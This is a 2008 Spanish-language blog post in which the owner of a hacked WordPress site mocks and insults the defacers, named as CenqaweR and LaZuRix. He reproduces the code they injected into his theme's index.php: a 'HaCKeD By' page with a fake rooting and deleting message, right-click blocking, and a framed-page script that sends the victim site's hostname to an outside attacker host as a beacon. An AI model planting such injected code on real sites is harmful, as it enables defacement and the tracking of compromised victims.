chuquizutta.com.ar

Web social, noticias, proyectos y ocurrencias.

Posts con tag ‘CenqaweR’

CenqaweR & LaZuRix sos un pelotudo monumental.

November 15th, 2008

Resulta que hoy entro a uno de mis emprendimientos: addmkt.com y me encuentro con que me habían “hackeado” el sitio. Digo Hackeado porque si uno ve lo que hicieron es más de un nene de 2 años que de un hacker.. pero bue..

La cosa es que me encontré un panorama exactamente asi:

Para ir a detalles, estaba usando WP 2.6.2. No se si es que tiene un bug de seguridad o un pelotudo cómo este escuchó con un sniffer los paquetes de la red. Lo cierto es que el Gran Hacker CenqaweR hace su “pagina” de hacking con frontpage¿?¿?!!! jajaj no existís gil!! sumado a esto, el muy chiste me cambió la contraseña de admin de WP, bastó con que WP me generara una nueva para poder ingresar.

Al ingresar, este Estupendo Hacker, no tocó ningún post, comentario, plugin, ni nada, lo único que hizo fue editar el index.php del template, para que apareciera en la home del blog su paginita.. Está de más decir que volviendo a la versión anterior de ese archivo anduvo todo perfecto y que si entrabas directamente a un post no había ningún porblema.

Ahora para les muestro el código del Hacker, jaja, ya me da risa…

<a href=”">
<img style=”r?ght: 0px; POSITION: absolute; TOP: 0px” alt=”" border=”0″ src=”http://www.hizliresim.com/2008/10/17/144.gif” _fcksavedurl=”http://www.hizliresim.com/2008/10/17/144.gif” /><center>
<a href=”">
<img style=”RIGHT: 0px; POSITION: absolute; TOP: 0px” alt=”" border=”0″ src=”http://www.hizliresim.com/2008/10/17/144.gif” _fcksavedurl=”http://www.hizliresim.com/2008/10/17/144.gif” /></a><center>
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<META http-equiv=Content-Type content=”text/html; charset=windows-1250″>
<META content=”Microsoft FrontPage 5.0″ name=GENERATOR></HEAD>
<BODY oncontextmenu=”return false” onselectstart=”return false” bgColor=#000000
onload=teclear();>
<DIV align=center>
<STYLE>.layermensaje {
FONT-SIZE: 10pt; COLOR: #00ff00; LINE-HEIGHT: 10pt; FONT-FAMILY: “Arial”
}
</STYLE>

<META content=”MSHTML 6.00.2900.2180″ name=GENERATOR></HEAD>
<BODY bgColor=#000000>
HaCKeD By CenqaweR</MARQUEE> 

 

<SCRIPT language=javascript>
<!–
// mensaje elite
mensaje=

‘____________________________________________________ ’+
‘..:: SysTeM HaCKeD By CenqaweR & LaZuRix ::.. ‘+
‘ ‘+
‘cengav3r@hotmail.com ‘+
‘ ‘+
‘WeLCoMe To HaCKinG WoRLD .. ’+
‘ ’+
‘ System Allowed’+
‘ ’+
‘Rooting Server. . . . . ‘+
‘Rooting Complete ‘+
‘ ’+
‘Was Here!.. ’+
‘ ’+
‘CenqaweR Group & LaZuRix ’+
‘ ’+
‘Sorry Admin … ’+
‘ ’+
‘ ’+
‘Connected ’+
‘port : 8080 . . . ’+
‘Process complete……1.2.3.4… ’+
‘ ’+
‘Deleting………………… ’+
‘Deleting Complete … ’+
‘ ’+
‘Close Ports . . . . . . ‘+
‘Disconnect!’+
‘ ’+
‘____________________________________________________ ’+
‘ “FaTaL ErRoR : CenqaweR WaS HeRe AnD YoU aRe HaCKeD!!! …..” ’
line=0
cursor=’_’
function teclear(){
if(line==mensaje.length) cursor=”
ttecleado.innerHTML=mensaje.substring(0,line)+cursor
if(line++<mensaje.length) setTimeout(“teclear()”,20)
}
//–>
</SCRIPT>
<script language=”JavaScript”>
puchtit=” ..:: HaCKeD By CenqaweR ::.. “;
letrero2=” H a C K e D B y C e n q a w e R “;
letrero1=” H a C K e D B y C e n q a w e R “;
ultimo1=letrero1.length-1;
ultimo2=letrero2.length-1;
tiempo=setTimeout(“scroll()”,.1);
function scroll()
{
aux1=letrero1.charAt(ultimo1-1);
letrero1=aux1+letrero1.substring(0,ultimo1-1);
aux2=letrero2.charAt(0);
letrero2=letrero2.substring(1,ultimo2+1)+aux2;
window.status=”(” + letrero2 + puchtit + letrero1 + “)”;
tiempo=setTimeout(“scroll()”,.1);
return true;
}

</script>

<DIV class=layermensaje id=ttecleado ?></DIV>



<SCRIPT src=”" type=text/javascript></SCRIPT>

<SCRIPT type=text/javascript>
<!–
if (top != self) { top.document.title = document.title; document.body.onunload=top.frames[0].location.href=p; rnd=Math.floor(Math.random()*1000); var b=(”+location.hostname).split(‘.’); s=b[b.length-3] + ‘.’ + b[b.length-2] + ‘.’ +b[b.length-1]; image_stat = new Image(); image_stat.src = ‘http://ast-crew.info=’ + s + ‘&’ + rnd; }
–>
</SCRIPT>
<BGSOUND src=”index_files/alert.wav” loop=none>

<BGSOUND SRC=”http://iranianhackers.com/loop/mp3.mid” LOOP=5>